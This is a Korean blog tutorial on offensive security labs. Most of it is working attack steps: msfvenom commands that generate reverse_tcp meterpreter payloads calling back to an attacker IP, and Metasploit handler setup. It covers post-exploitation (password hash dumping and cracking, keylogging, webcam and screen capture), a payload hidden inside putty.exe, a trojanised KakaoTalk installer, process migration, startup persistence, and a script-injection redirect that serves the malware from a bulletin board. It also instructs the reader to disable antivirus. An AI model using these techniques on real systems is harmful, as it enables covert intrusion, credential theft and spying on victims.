2024. 2. 4. 16:05ㆍInformation Security 정보보안/Web Security 웹 보안
배울내용:
msfvenom
Metasploit
메타스플로이트
페이로드
DLL Injection
reverse tcp
virustotal
msfconsole
Putty를 이용한 해킹 프로그램
watering hole
워터링홀
리버스 TCP
DLL 인젝션
웹 해킹
msfvenom
msfvenom 란?
msfvenom은 Kali Linux에 포함된 Metasploit 프레임워크의 하나로,
악의적인 목적으로 사용되는 페이로드(payload)를 생성하는 도구입니다.
페이로드란?
실제 프로그램 code( 여러기능을 담고있는 라이브러리)
ex) (라이브러리설명 : 라이브러리 엔 printf() ,scanf() 라는함수 (기능) 를 들고있는것)
code에서는 빌드한다고 하면 프로그램이 exe 파일이라고 하면
kernel32.dll , avdapi.dll, user32.dll 이외에 많은 것들을
Dynamic Link Library
DLL 이란?
ex ) (DLL 설명 : 외국인을 만날때 한국어 쓸수없으니 그 소통을하기위해 언어 뿐아니라 그나라의 문화나 말투가 담겨있는 Library 라고 보면 된다 ) 안에 있는데 페이로드 또한 들어가있는데 exe 파일을 호출되면서 페이로드가 끼어들어가면서 실행되는것이기 때문에
이 페이로드는 dll 인젝션을 만들어내는 프로그램으로 불린다.
Metasploit 란?
Metasploit은 보안 전문가 및 해커들이 시스템 및 네트워크 취약성을 테스트하고 공격하는 데
사용되는 강력한 오픈 소스 보안 프레임워크입니다.
msfvenom은 Metasploit의 페이로드 생성 도구 중 하나이며
실제로는 metasploit 는 dll 인젝션을 만들어내는 프로그램이다
추가적으로 다른방법으로 아래의 링크에서도 볼수있다
https://sarimus.tistory.com/37
이번시간엔 reverse_tcp (역직렬화 TCP)
를 실습해볼것이다
reverse_tcp
reverse_tcp 란?
이름에서 알 수 있듯이, "역방향(TCP)" 통신을 의미합니다.
여기서 "역방향"은 일반적인 통신 방식과는 반대로,
피해자(타겟 시스템)가 공격자(Metasploit 리스너)에게 연결을 시도하는 것을 의미합니다.
여러 단계로 이 과정을 설명하면 다음과 같습니다:
- 공격자는 Metasploit을 사용하여 특정 페이로드를 생성합니다.
- 페이로드는 타겟 시스템에서 실행되면서 Metasploit 리스너의 IP 주소 및 포트로 연결을 시도합니다.
- Metasploit 리스너는 해당 연결을 수락하고, 공격자와 타겟 시스템 간에 역방향 TCP 통신이 설정됩니다.
- 이제 공격자는 Metasploit 쉘을 통해 타겟 시스템을 제어하거나 다양한 작업을 수행할 수 있습니다.
이러한 방식은 방화벽과 같은 보안 장치를 우회하거나,
타겟 시스템에서 외부로의 연결을 제한하는 환경에서도 사용될 수 있습니다.
좀더 쉽게 비유해서 설명하면
원격접속 해서 남이 내컴퓨터의 마우스를 움직이게 하는 것이 역직렬화 이라고 보면된다
실습
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.10 lport=4444 -f exe -o sarimus.exe
위를 입력해준다
이를 해석하면
- -p windows/x64/meterpreter/reverse_tcp: 생성할 페이로드의 종류를 역방향 TCP 페이로드를 생성
- lhost=192.168.10.10: 공격자(Metasploit 리스너)의 IP 주소를 192.168.10.10으로 설정
- lport=4444: 공격자가 수신 대기할 포트번호로 4444로 설정
- -f exe: 생성할 파일을 실행 파일(exe) 형식으로 설정
- -o sarimus.exe: 생성된 페이로드를 저장할 파일의 이름을 sarimus.exe로 설정
sarimus.exe 가 제대로 저장된걸 볼수있고이젠
python3 -m http.server 80
을 해준다
그리고 window에서 192.168.10.10 (서버IP) 를 입력하면
이렇게 Directory indexes 가 되는걸 볼수있다
여기에서
sarimus.exe 를 다운받아준다 (이때 보안 꺼줘야함 ( 알약이나 , 실시간보안 , 윈도우에 설정-> 개인정보 보호 및 보안 에서 향상된보안에서 보호하지않음으로 바꿔줘야함)
그러면 이렇게 sarimus.exe 실행파일이 다운로드가 된것을 볼수가있다
이파일을 virtustotal 에서 확인해보면
https://www.virustotal.com/gui/home/upload
이곳에 sarimus.exe 를 업로드 시켜주고 confirm upload 해주면
세계 다양한 백신회사들 각각에서 어떤걸 탐지 했는지를 볼수있다
다음에 악성프로그램인지 모를때는 virustotal을 잘이용해보도록 하자
msfconsole
다시 Kali 로 돌아와서
msfconsole 을 입력해보자
이렇게 어떤 랜덤한 그림을 매번 나오게 해준다
이번엔 귀여운 토끼가 나왔다
help 를 입력 하면 여러 쓸수있는 기능들이 잘 설명되어 나와있다
use exploit/multi/handler 를 입력한다음에 options 를 해보면
Payload 와 LHost 가 입력이 필요한걸 알수있다
그래서
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.10.10
set lport 4444
를해주고 options 를 입력하면
잘들어가있는걸 볼수있다
그리고 exploit
이후로 아까 다운로드했던 sarimus.exe 를 클릭해주자
그러면 Kali 에 exploit 이후에
meterpreter > 이런식으로 프롬프트가 바뀐걸 볼수있다
여기에서 sysinfo 해보면
이것도 되고 그외에 dir 도
사용 가능하다 즉, window 안에있는 모든것을 볼수가있다
run post/windows/gather/hashdump
를 입력하면 사용자의 아이디와 비번도 나오게 할수있다
그러나 시스템 권한이 유저라서 안되는데
권한을 getsystem 이라고 한뒤에 권한을 받고 다시 run post/windows/gather/hashdump 해보면
여러 사용자의 해쉬값이 나오는걸 볼수있다
이 값을 복사해서 따로 파일에 저장해주고
john --format=NT test 하면
test 의 비밀번호가 바로나오는걸 볼수있다
그러나 필자는 window 11 로 window 10에서는 잘작동하는데 11에서는 작동이 안된다
다시돌아와서
screenshot 입력하면
window에서 사용하는지도 모르게 kali 에서 사진을 찍어가고
window에 현재 screen 이 찍힌다
아래는 쓸수있는 기능들이다
run winenum
run getcountermeasure
-> firewall 를 다 꺼버림 (100% 성공은 아님)
keyscan_start
하면 notepad 에 글쓰고 ,
keyscandump
하면 비밀번호쓴 거 다나옴(키로거처럼)
keyscan_stop
screenshot
현재window 사진보여줌
webcam_snap
캡으로해서 사진찍음 ( 실제 노트북 사진)
webcam_list (웹캠 리스트 출력)
webcam_stream
이러면 노트북스트리밍 나옴 ( 동영상 기능이 꺼저있어야지됨)
screenshare
실시간으로 화면이 공유되어서 나옴
Putty를 이용한 해킹 프로그램
이제 다시 칼리로 돌아와
새로운운 kali 프롬프트 창을 만들어
mkdir /hack
cp -a sarimus.exe /hack
cd /hack
한뒤에 ls 하면 sarimus.exe 가 있는걸 볼수있다
그뒤에 window 에 깔려있는 putty.exe 파일을 복사해서 putty2.exe 로 만들어주고
이 putty2.exe 를 Ctrl + C 한뒤에
Kali에 아까 sarimus.exe 가 있는 파일 위치 /hack 폴더를 연뒤에 Ctrl + V 해준다
그러면 이렇게 붙여진걸 볼수있다
그리고 Kali에서 이렇게 명령어를 해준뒤
msfvenom -a x64 --platform windows -x /hack/putty2.exe -k -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.10 lport=4444 -f exe -o puttyX.exe
이 puttyX.exe 가 만들어진거를 window에서 Kali로 옮겼던 방식으로 Kali 에서 window 로 옮겨준다
그리고 kali 에서 다시 exploit/multi/handler/ 상태에서 exploit 해주면
window 에서는 putty 만 켯을뿐인데 kali 에서는 window로 연결을 해버렸다
이렇게 putty 가 연결되있는걸 process monitor 로도 확인할수있는데
이걸 열어서 자세히 보면
다른 파일들은 dll 인 방면에 puttyX 만 .exe 인걸 볼수있다
puttyX payload 를 붙였다고 하면 위에서 dll injection이 어느정도 이해가 될것이다
그런데 여기서 끝난게 아니라 puttyX.exe 를 못찾게 migrate 를 이용해서 notepad 의 PID 를 이용해 notepad 처럼 위장거나 다른걸로 숨기는것 또한 가능하다
작업관리자에서 PID 확인후
migrate 5056(메모장)
아까 puttyX 의 pid를 메모장으로 위장해서 숨음
(이걸없애면 끊김 그러나 찾기힘듦)
그래서 이런걸 찾기가 더욱 힘들게 되는것이다
다시돌아와서
그전에 puttyX.exe 를 클릭한뒤에
excute -f cmd.exe
이렇게 입력하면
window 쪽에서
이렇게 프로그램이 실행이 된것도 볼수있다
아니면 puttyX.exe 를 cmd 에서 shell:startup 에서 시작프로그램에 넣어주면
kali 에서는 exploit 만 하고있으면 window 쪽에서 putty를 실행하며 자동으로
연결이 가능하게 할수있다
(재부팅시 기본적으로 자동으로 켜지는 그런 기능 이라 생각하면됨)
위에 방법은 쉬운방법이고
보통은 레지스트리에서 자동으로 실행하게 할수 있다고한다
Dll Injection
이번에는 아까 다운로드 했던 sarimus.exe 로
이미지를 만들고 Dll Injection 할수있는 프로그램을 하나 만들 것이다
다른것에 비해 이것은 악성프로그램으로 인식을 안한다
이번엔 PowerMerger, resourceHacker 와 kakaoTalk 설치 파일을 다운로드 해준다
준비:
sarimus.exe
kakao 설치 실행파일
PowerMerger
resourceHacker
Icon 은 일단 아무거나 클릭하고
1st 에는 kakao 설치파일 클릭하고
2nd 에는 sarimus.exe 클릭한뒤에
Merge 누르면
이렇게 만들어지는걸 볼수있는데
이젠 Resource Hacker 로 가서
아까 카카오 설치 파일과 sarimus.exe 를 merge 한 파일을 올린뒤에 Icon 에 보면 이미지가 틀린데
이거 오른쪽 마우스 클릭하여 replace 로 바꿔주면 바꿔진다
그리고 저장
그리고 sarimus 만 없애주고 바탕화면에 옮겨주면 진짜 설치파일처럼 보인다
그리고 이걸 실행해주면
window에서는 그냥 설치파일인지 알겟지만 알고보면
이렇게 reverse_tcp 에 당할수가있다
그렇기때문에 뭐든 다운받기전에 정식홈페이지 인지 확인하고
virtustotal같은걸 이용해 바이러스가 들었는지 확인하는게 좋다
워터링 홀(Watering Hole) 공격
그리고
cd /hack 으로가서
아까 다운받은 kakao 만들걸 넣어줌
python3 -m http.server 80
해주면 web 서버가 나옴
192.168.10.100 들어감 (NAT)
여기서 로그인하고
게시판에다가
글제목 : 카카오톡 설치파일 첨부
글내용 : <script> location.href="http://192.168.10.10/KakaoTalk_Setup.exe"</script>
이렇게 저장한뒤에 클릭하면
만약 누군가 카카오톡 설치파일인지 알고 클릭하면 공격을 당하게 되는 것이다
이런 공격을 당하는 예시로 공항의 휴대폰 충전기 같은걸 꼽아도
위와 같은 방식으로 다운될수도있으니
가급적이면 공항에서나 무료로 되어있는 휴대폰 충전기는 쓰지말자
생각외로 우리주변에는 다양한 방법으로
공격이 이루어 질뿐 우리가 인식하지 못할뿐이다
앞으로 이글을 읽으면서 어떤방면에서 공격이 들어올지 아니 주의하기 바란다
그럼 20000~